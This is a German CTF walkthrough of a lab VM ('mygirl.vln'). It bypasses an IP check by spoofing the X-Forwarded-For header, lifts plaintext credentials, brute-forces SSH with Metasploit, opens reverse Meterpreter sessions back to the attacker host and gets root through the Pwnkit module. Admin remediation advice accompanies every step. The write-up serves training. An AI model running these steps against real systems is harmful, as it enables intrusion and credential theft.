**Analyse:** Die initiale Aufklärungsphase zielt auf die Identifizierung des Zielsystems im lokalen Netzwerk und die Erkundung offener Ports sowie der darauf laufenden Dienste ab.
192.168.2.131 08:00:27:fd:9b:9b PCS Systemtechnik GmbH
**Analyse:** Mittels `arp-scan -l` wird das lokale Netzwerk gescannt. Das Zielsystem wird unter der IP-Adresse `192.168.2.131` identifiziert. Die MAC-Adresse `08:00:27:fd:9b:9b` (PCS Systemtechnik GmbH) lässt auf eine VirtualBox-VM schließen.
**Bewertung:** Das Ziel wurde erfolgreich lokalisiert. Die MAC-Adresse liefert einen ersten Hinweis auf die Virtualisierungsumgebung.
**Empfehlung (Pentester):** Die IP `192.168.2.131` für weitere, detaillierte Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung kann die Sichtbarkeit im lokalen Netz reduzieren. ARP-Spoofing-Detection implementieren.
192.168.2.131 mygirl.vln
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.131` den Hostnamen `mygirl.vln` zuzuordnen. Dies erleichtert das Ansprechen des Ziels über einen Namen, was bei Webanwendungen relevant sein kann.
**Bewertung:** Sinnvolle Vorbereitung, um Virtual Hosting zu berücksichtigen und die Lesbarkeit von URLs zu verbessern.
**Empfehlung (Pentester):** Den Hostnamen `mygirl.vln` bei Tests verwenden.
**Empfehlung (Admin):** Clientseitige Konfiguration des Angreifers.
22/tcp open ssh penSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
**Analyse:** Ein schneller `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`, `-p-`) wird durchgeführt und die Ausgabe gefiltert. Es werden zwei offene Ports identifiziert: * Port 22: SSH (OpenSSH 6.6.1p1 Ubuntu) - eine ältere Version. * Port 80: HTTP (Apache 2.4.7 Ubuntu) - ebenfalls eine ältere Version.
**Bewertung:** Die Angriffsfläche ist auf die Standarddienste SSH und HTTP beschränkt. Beide Dienste laufen auf relativ alten Versionen, was sie potenziell anfällig für bekannte Schwachstellen macht.
**Empfehlung (Pentester):** Den Webserver (Port 80) gründlich untersuchen. Nach bekannten Exploits für OpenSSH 6.6.1p1 und Apache 2.4.7 suchen. Die vollständige `nmap`-Ausgabe prüfen.
**Empfehlung (Admin):** Software (SSH, Apache) dringend aktualisieren. Nur notwendige Ports offen lassen.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 23:47 CEST Nmap scan report for mygirl.vln (192.168.2.131) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: ... (Keys) ... 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.7 (Ubuntu) MAC Address: 08:00:27:FD:9B:9B (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 S details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.14 ms mygirl.vln (192.168.2.131)
**Analyse:** Die vollständige `nmap`-Ausgabe bestätigt die offenen Ports 22 (SSH 6.6.1p1) und 80 (Apache 2.4.7). Es wird festgestellt, dass die Webseite keinen Titel hat. Das Betriebssystem wird als Linux Kernel 3.2 - 4.9 geschätzt.
**Bewertung:** Keine wesentlich neuen Erkenntnisse gegenüber dem gefilterten Scan. Das Fehlen eines Titels ist eine kleine Nachlässigkeit. Die OS-Schätzung ist relativ breit.
**Empfehlung (Pentester):** Web-Enumeration starten. Kernel-Version für spätere Eskalation im Hinterkopf behalten.
**Empfehlung (Admin):** Webseiten Titel geben. OS und Dienste aktuell halten.
- Nikto v2.5.0 + Target IP: 192.168.2.131 + Target Hostname: 192.168.2.131 + Target Port: 80 + Start Time: 2023-09-26 23:47:46 (GMT2) + Server: Apache/2.4.7 (Ubuntu) + /: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.29. + /: The anti-clickjacking X-Frame-ptions header is not present. + /: The X-Content-Type-ptions header is not set. + /robots.txt: Entry '/heyhoo.txt' is returned a non-forbidden or redirect HTTP code (200). + /robots.txt: contains 1 entry which should be manually viewed. + Apache/2.4.7 appears to be outdated. + /: Server may leak inodes via ETags ... + PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD . # Annahme: PST=POST, PTINS=OPTIONS + /config/: Directory indexing found. + /config/: Configuration information may be available remotely. + /misc/: Directory indexing found. + /misc/: This might be interesting. + /icons/README: Apache default file found. + 8103 requests: 0 error(s) and 12 item(s) reported on remote host + End Time: 2023-09-26 23:48:01 (GMT2) (15 seconds) + 1 host(s) tested
**Analyse:** `nikto` scannt den Webserver auf Port 80. Wichtige Funde: * Bestätigt Apache 2.4.7 und identifiziert PHP 5.5.9 (sehr alt!). * Findet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * `robots.txt` enthält einen Eintrag `/heyhoo.txt`, der zugänglich ist. * Meldet veralteten Apache. * Findet Directory Indexing in `/config/` und `/misc/`. * Findet Standarddatei `/icons/README`.
**Bewertung:** `nikto` liefert entscheidende Hinweise. Die sehr alte PHP-Version 5.5.9 ist ein großes Risiko. Die indexierten Verzeichnisse `/config/` und `/misc/` sowie die Datei `/heyhoo.txt` aus `robots.txt` müssen untersucht werden. Directory Indexing ist generell ein Informationsleck.
**Empfehlung (Pentester):** Die Datei `/heyhoo.txt` und die Verzeichnisse `/config/` und `/misc/` untersuchen. Nach bekannten Exploits für PHP 5.5.9 und Apache 2.4.7 suchen.
**Empfehlung (Admin):** PHP und Apache *dringend* aktualisieren. Directory Indexing deaktivieren (`Options -Indexes`). Fehlende Sicherheitsheader implementieren. `robots.txt` und Webinhalte überprüfen. Standarddateien entfernen.
**Analyse:** Untersuchung der Webanwendung, der gefundenen Dateien und Verzeichnisse. Ausnutzung einer Zugriffsbeschränkung und Aufdecken von Zugangsdaten.
http://mygirl.vln/index.php (Status: 200) [Size: 120] http://mygirl.vln/misc (Status: 301) [Size: 306] [--> http://mygirl.vln/misc/] http://mygirl.vln/config (Status: 301) [Size: 308] [--> http://mygirl.vln/config/] http://mygirl.vln/robots.txt (Status: 200) [Size: 32]
**Analyse:** `gobuster` findet die Hauptdatei `index.php` sowie die bereits von `nikto` entdeckten Verzeichnisse `/misc/` und `/config/` und die Datei `robots.txt`.
**Bewertung:** Bestätigt die wichtigsten bekannten Punkte. Der Fokus liegt auf der Analyse dieser Dateien/Verzeichnisse.
**Empfehlung (Pentester):** `robots.txt`, `/misc/`, `/config/` und `index.php` untersuchen.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen.
**Analyse:** Untersuchung der Inhalte von `robots.txt`, `heyhoo.txt` und `misc/process.php`.
# Inhalt von http://mygirl.vln/robots.txt User-Agent: * Allow: /heyhoo.txt # Inhalt von http://mygirl.vln/heyhoo.txt Great! What you need now is reconn, attack and got the shell # Aufruf von http://mygirl.vln/misc/process.php (zeigt nur Metadaten/Header) PHP/5.5.9-1ubuntu4.29 Cookie = PHPSESSID=77it48nqqti9mcnfk2nrt2lh10
**Bewertung:** * `robots.txt`: Erlaubt explizit den Zugriff auf `/heyhoo.txt`. * `heyhoo.txt`: Gibt einen direkten Hinweis auf den nächsten Schritt: "reconn, attack and got the shell". * `misc/process.php`: Zeigt nur die PHP-Version und ein Session-Cookie, keine weitere Funktionalität erkennbar.
**Empfehlung (Pentester):** Den Hinweis aus `heyhoo.txt` ernst nehmen und die Enumeration/Angriffsplanung fortsetzen. Die Datei `misc/process.php` scheint vorerst nicht nützlich.
**Empfehlung (Admin):** Keine solchen Hinweisdateien im Web-Root hinterlassen. `robots.txt` sinnvoll einsetzen.
**Analyse:** Die Startseite `index.php` wird aufgerufen und zeigt eine Zugriffsbeschränkung an. Hinweise im Quellcode deuten auf eine mögliche Umgehung mittels HTTP-Header hin.
# Inhalt von http://mygirl.vln/index.php Who are you? Hacker? Sorry This Site Can Only Be Accessed local! # Kommentar im Quellcode von index.php (aus Burp/manueller Analyse)
**Bewertung:** Die Seite blockiert Zugriffe, die nicht "lokal" erscheinen. Der Kommentar gibt den entscheidenden Hinweis: Der `X-Forwarded-For`-Header soll verwendet werden, um einen lokalen Zugriff (z.B. von `localhost` oder `127.0.0.1`) zu simulieren. Dies ist eine häufige Fehlkonfiguration bei Zugriffskontrollen, die auf Client-IPs basieren.
**Empfehlung (Pentester):** Anfragen an die Webseite mit einem hinzugefügten Header `X-Forwarded-For: 127.0.0.1` oder `X-Forwarded-For: localhost` senden (z.B. mit `curl` oder Browser-Addons wie ModHeader).
**Empfehlung (Admin):** Zugriffskontrollen niemals ausschließlich auf Client-seitig manipulierbare Header wie `X-Forwarded-For` stützen. Serverseitige Authentifizierung und Autorisierung verwenden.
HTTP/1.1 302 Found Date: Tue, 26 Sep 2023 22:13:28 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.29 Location: ?page=index Content-Length: 0 Content-Type: text/html
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!
**Analyse:** 1. Ein `curl`-Befehl wird mit dem Header `X-Forwarded-For: localhost` gesendet. Der Server antwortet mit einem HTTP 302 Redirect auf `?page=index`. Dies zeigt, dass die Zugriffsbeschränkung umgangen wurde. 2. Ein zweiter `curl`-Befehl versucht, direkt `/?page=index` ohne den Header aufzurufen. Dies schlägt fehl und zeigt wieder die ursprüngliche Fehlermeldung.
**Bewertung:** Der `X-Forwarded-For`-Header umgeht erfolgreich die Zugriffsbeschränkung. Die Anwendung erwartet nun einen `page`-Parameter.
**Empfehlung (Pentester):** Alle weiteren Anfragen an die Webanwendung mit dem Header `X-Forwarded-For: localhost` (oder `127.0.0.1`) senden. Den `page`-Parameter untersuchen (z.B. auf LFI).
**Empfehlung (Admin):** Zugriffskontrolle überarbeiten, nicht auf `X-Forwarded-For` verlassen.
**Analyse:** Die Webseite wird nun im Browser mit einem Addon (ModHeader) aufgerufen, das den `X-Forwarded-For: localhost`-Header setzt. Eine Seite (`?page=dashboard&user_id=12`) zeigt eine Liste von Benutzernamen und **Klartext-Passwörtern**.
# Aufruf von http://mygirl.vln/?page=dashboard&user_id=12 (mit X-Forwarded-For Header) Wellcome Back! Are you ready for Inspiring The People? Let's Do It! Abdi Kasep abdikasepak dorrrrr Alice Geulis alice 4lic3 Sedih Aing Mah sedihaingmah cedihhihihi Sunda Tea sundatea indNEsia Aing Maung aingmaung qwerty!!! Eweuh Tandingan eweuhtandingan skuyatuh
**Bewertung:** Kritischer Fund! Nachdem die Zugriffsbeschränkung umgangen wurde, enthüllt eine Seite der Anwendung (möglicherweise ein Admin-Dashboard oder eine fehlerhafte Benutzerliste) direkt mehrere Benutzernamen und deren Passwörter im Klartext. Dies ist eine gravierende Sicherheitslücke (Credential Leak).
**Empfehlung (Pentester):** Alle gefundenen Benutzername/Passwort-Paare notieren. Diese Credentials sofort für den SSH-Login (Port 22) testen.
**Empfehlung (Admin):** Diese Seite *sofort* vom Netz nehmen oder den Fehler beheben! Niemals Passwörter im Klartext auf einer Webseite anzeigen. Passwörter sicher hashen. Die Ursache für das Datenleck finden und beheben. Zugriff auf Admin-Bereiche korrekt schützen.
**Analyse:** Nutzung der auf der Webseite gefundenen Zugangsdaten, um mittels eines Brute-Force-Tools (Metasploit `ssh_login` Scanner) einen gültigen SSH-Login zu finden.
**Analyse:** Die auf der Webseite gefundenen Benutzernamen und Passwörter werden in separate Dateien (`userlist.txt`, `passwordlist.txt`) gespeichert, um sie für Brute-Force-Tools vorzubereiten.
**Bewertung:** Korrekte Vorbereitung für einen gezielten Brute-Force-Angriff.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- # ... (Liste der Module) ... 11 auxiliary/scanner/ssh/ssh_login normal No SSH Login Check Scanner # ...
Module options (auxiliary/scanner/ssh/ssh_login): Name Current Setting Required Description ---- --------------- -------- ----------- # ... PASS_FILE no File containing passwords, one per line RHOSTS yes The target host(s)... RPORT 22 yes The target port # ... USER_FILE no File containing usernames, one per line # ... VERBOSE false yes Whether to print output for all attempts # ...
USER_FILE => userlist.txt
PASS_FILE => passwordlist.txt
THREADS => 10
VERBOSE => true
RHOSTS => 192.168.2.131
rport => 22
[*] 192.168.2.131:22 - Starting bruteforce [-] 192.168.2.131:22 - Failed: 'sedihaingmah:4lic3' [-] 192.168.2.131:22 - Failed: 'sedihaingmah:cedihhihihi' # ... (Viele Fehlversuche) ... [-] 192.168.2.131:22 - Failed: 'alice:dorrrrr' [+] 192.168.2.131:22 - Success: 'alice:4lic3' 'uid=1000(alice) gid=1001(alice) groups=1001(alice) Linux gfriEND 4.4.0-142-generic #1614.04.1-Ubuntu SMP Sat Jan 19 11:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux ' [*] SSH session 1 opened (192.168.2.199:35415 -> 192.168.2.131:22) at 2023-09-27 00:42:30 +0200
**Analyse:** Das Metasploit-Modul `auxiliary/scanner/ssh/ssh_login` wird verwendet, um einen Brute-Force-Angriff gegen den SSH-Dienst auf Port 22 durchzuführen. Die zuvor erstellten `userlist.txt` und `passwordlist.txt` werden als Eingabe verwendet. Das Modul testet die Kombinationen und findet einen erfolgreichen Login: Benutzer `alice` mit dem Passwort `4lic3`. Metasploit öffnet direkt eine SSH-Shell-Sitzung (Session 1) für diesen erfolgreichen Login.
**Bewertung:** Initialer Zugriff erfolgreich erlangt! Die auf der Webseite geleakten Zugangsdaten enthielten ein gültiges SSH-Konto.
**Empfehlung (Pentester):** Mit der SSH-Sitzung (Session 1) interagieren (`sessions -i 1`). Die Umgebung als Benutzer `alice` enumerieren, um nach Wegen zur Rechteausweitung zu suchen.
**Empfehlung (Admin):** Das Passwort für `alice` sofort ändern. Die Ursache des Passwort-Leaks auf der Webseite beheben. Starke, einzigartige Passwörter erzwingen. SSH-Brute-Force-Schutz implementieren (fail2ban). Key-basierte Authentifizierung bevorzugen.
**Analyse:** Nach dem erfolgreichen SSH-Login als `alice` wird das System weiter untersucht, um Root-Rechte zu erlangen. Der Fokus liegt auf SUID-Binaries und der Nutzung von Metasploit zur Eskalation.
Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell linux SSH root @ alice:4lic3 192.168.2.199:35415 -> 192.168.2.131:22 (192.168.2.131)
[*] Starting interaction with 1...
uid=1000(alice) gid=1001(alice) groups=1001(alice)
**Analyse:** Die aktive Metasploit-Session (ID 1) wird aufgelistet und mit `sessions -i 1` in den interaktiven Modus gewechselt. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `alice` (uid=1000) läuft.
**Bewertung:** Bestätigung des Zugriffs als `alice`.
# Gekürzte Ausgabe, interessante/Standard SUIDs 262219 44 -rwsr-xr-x 1 root root 44680 May 8 2014 /bin/ping6 262218 44 -rwsr-xr-x 1 root root 44168 May 8 2014 /bin/ping # ... (umount, mount, su, fusermount) ... 393486 44 -rwsr-xr-x 1 root root 41336 May 17 2017 /usr/bin/chsh 393557 72 -rwsr-xr-x 1 root root 72280 May 17 2017 /usr/bin/gpasswd # ... (mtr) ... 413990 24 -rwsr-xr-x 1 root root 23304 Jan 15 2019 /usr/bin/pkexec # ... (at) ... 412138 24 -rwsr-xr-x 1 root root 23104 May 8 2014 /usr/bin/traceroute6.iputils 393638 48 -rwsr-xr-x 1 root root 47032 May 17 2017 /usr/bin/passwd 393483 48 -rwsr-xr-x 1 root root 46424 May 17 2017 /usr/bin/chfn 393626 36 -rwsr-xr-x 1 root root 36592 May 17 2017 /usr/bin/newgrp 393743 152 -rwsr-xr-x 1 root root 155008 May 29 2017 /usr/bin/sudo # ... (uuidd, pppd, dbus, eject, openssh, policykit) ...
**Analyse:** Als Benutzer `alice` wird nach SUID-Dateien gesucht. Die Liste enthält wieder Standard-Binaries. `pkexec` (Jan 2019) und `sudo` (Mai 2017) sind vorhanden. Die `pkexec`-Version ist neuer als in einigen vorherigen Berichten, aber immer noch vor der Entdeckung von Pwnkit (Jan 2022), daher ist eine Anfälligkeit wahrscheinlich.
**Bewertung:** Pwnkit (CVE-2021-4034) ist der wahrscheinlichste Eskalationsvektor. `sudo -l` sollte ebenfalls geprüft werden.
**Empfehlung (Pentester):** Pwnkit-Exploit über Metasploit vorbereiten und ausführen. `sudo -l` als `alice` testen.
**Empfehlung (Admin):** Polkit und sudo aktuell halten. SUID-Binaries minimieren.
**Analyse:** Die Shell-Sitzung von `alice` wird zu einer Meterpreter-Sitzung aufgewertet, um die Ausführung des Pwnkit-Exploits zu erleichtern.
# ... (Optionen: HANDLER, LHOST, LPORT=4433, SESSION) ...
session => 1
lport => 4433
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4433 # Angreifer-IP aus späterem Log ergänzt [*] Sending stage (1017704 bytes) to 192.168.2.131 [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.131:54664) at 2023-09-24 23:43:19 +0200 # Datum/Zeit aus Log übernommen [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
**Analyse:** Das `shell_to_meterpreter`-Modul wird auf die SSH-Shell-Sitzung (Session 1) angewendet. Ein Listener auf Port 4433 wird gestartet, und der Meterpreter-Stager wird über die bestehende Verbindung hochgeladen und ausgeführt. Eine neue Meterpreter-Sitzung (Session 2) als `alice` wird erfolgreich geöffnet.
**Bewertung:** Erfolgreiches Upgrade zu einer Meterpreter-Sitzung als `alice`.
**Empfehlung (Pentester):** Pwnkit-Exploit auf Session 2 anwenden.
**Empfehlung (Admin):** HIDS/EDR zur Erkennung von Meterpreter.
**Analyse:** Ausführung des Pwnkit-Exploits (CVE-2021-4034) über Metasploit, um Root-Rechte zu erlangen.
# ... (Optionen: SESSION, WRITABLE_DIR, Payload LHOST/LPORT=4444) ...
lport => 4455
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4455 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.qyaesucqey [+] The target is vulnerable. [*] Writing '/tmp/.fsewsh/iyhrpta/iyhrpta.so' (548 bytes) ... [!] Verify cleanup of /tmp/.fsewsh [*] Sending stage (3045380 bytes) to 192.168.2.131 [+] Deleted /tmp/.fsewsh/iyhrpta/iyhrpta.so [+] Deleted /tmp/.fsewsh/.qxbljrud [+] Deleted /tmp/.fsewsh [*] Meterpreter session 3 opened (192.168.2.199:4455 -> 192.168.2.131:50154) at 2023-09-27 00:45:19 +0200
Process 3236 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),1001(alice)
**Analyse:** Das Pwnkit-Exploit-Modul wird auf die Meterpreter-Sitzung 2 (`alice`) angewendet. Ein Listener für die Root-Shell wird auf Port 4455 gestartet. Der Exploit bestätigt die Verwundbarkeit (`[+] The target is vulnerable.`), lädt Komponenten nach `/tmp`, führt den Exploit gegen `pkexec` aus und etabliert erfolgreich eine neue Meterpreter-Sitzung (Session 3). Eine Shell wird von dieser Sitzung geöffnet, und `id` bestätigt Root-Rechte (`uid=0(root)`).
**Bewertung:** Exzellent! Die Rechteausweitung auf Root war mittels Pwnkit erfolgreich.
**Empfehlung (Pentester):** Die Root-Shell nutzen, um die finalen Flags zu suchen.
**Empfehlung (Admin):** System dringend patchen (Polkit aktualisieren). Überwachung von `/tmp` und `pkexec`.
flag2.txt
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Yeaaahhhh!! You have successfully hacked this company server! I hope you who have just learned can get new knowledge from here :) I really hope you guys give me feedback for this challenge whether you like it or not because it can be a reference for me to be even better! I hope this can continue :)
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Thanks! Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}
**Analyse:** In der Root-Shell wird ins Home-Verzeichnis (`/root`) gewechselt. Dort wird die Datei `flag2.txt` gefunden und ausgelesen. Sie enthält eine Nachricht und die Root-Flagge: `gfriEND{56fbeef560930e77ff984b644fde66e7}`.
**Bewertung:** Die Root-Flagge wurde erfolgreich extrahiert.
**Empfehlung (Pentester):** Root-Flagge dokumentieren. Nach der User-Flagge suchen (vermutlich in `/home/alice/`).
**Empfehlung (Admin):** Keine spezifische Aktion, außer den bereits genannten.
**Analyse:** Die Root-Flagge (`gfriEND{...}`) wurde aus `/root/flag2.txt` extrahiert. Die User-Flagge wurde im Log nicht explizit gefunden; der hier gezeigte Wert stammt aus dem Platzhalter am Ende des Originaltextes. Sie befindet sich vermutlich in `/home/alice/user.txt`.
**Bewertung:** Der Test war erfolgreich, Root-Zugriff wurde erlangt und die Root-Flagge gefunden. Die Dokumentation der User-Flagge im Log fehlt.